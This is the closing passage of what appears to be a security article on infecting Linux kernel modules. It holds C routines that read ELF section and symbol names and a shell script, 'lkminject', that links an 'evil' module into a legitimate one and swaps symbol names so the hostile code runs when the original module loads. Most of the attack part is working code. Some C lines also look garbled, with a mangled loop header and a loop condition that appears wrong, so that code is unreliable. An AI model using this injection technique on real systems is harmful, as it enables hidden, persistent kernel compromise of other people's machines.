ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, Elf32_Shdr *shdr) { int i; char name[255]; Elf32_Shdr shstrtable; /* * Get the section header string table */ ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable); memset (name, 0, sizeof (name)); for (i=0; ie_shnum; i++) { if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), SEEK_SET) == -1) FATAL ("fseek"); if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1) FATAL ("Sections header corrupted"); ElfGetSectionName (fd, shdr->sh_name, &shstrtable, name, sizeof (name)); if (!strcmp (name, section)) { return 0; } } return -1; } int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, Elf32_Shdr *shstrtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1) FATAL ("fseek"); while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; } return 0; } Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, Elf32_Shdr *strtable, char *res, size_t len) { size_t i = 0; if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1) FATAL ("fseek"); while ((i < len) || *res == '\0') { *res = fgetc (fd); i++; res++; } return (strtable->sh_offset + sym_name); } /* EOF */ ----] 9.2 Lkminject #!/bin/sh # # lkminject by truff (truff@projet7.org) # # Injects a Linux lkm into another one. # # Usage: # ./lkminfect.sh original_lkm.o evil_lkm.c # # Notes: # You have to modify evil_lkm.c as explained bellow: # In the init_module code, you have to insert this line, just after # variables init: # dumm_module (); # # In the cleanup_module code, you have to insert this line, just after # variables init: # dummcle_module (); # # http://www.projet7.org - Security Researchs - ########################################################################### sed -e struct/init_module/evil_module/ $2 > tmp mv tmp $2 sed -e struct/cleanup_module/evclean_module/ $2 > tmp mv tmp $2 # Replace the following line with the compilation line for your evil lkm # if needed. make ld -r $1 $(basename $2 .c).o -o evil.o ./elfstrchange evil.o init_module dumm_module ./elfstrchange evil.o evil_module init_module ./elfstrchange evil.o cleanup_module dummcle_module ./elfstrchange evil.o evclean_module cleanup_module mv evil.o $1 rm elfstrchange |=[ EOF ]=---------------------------------------------------------------=|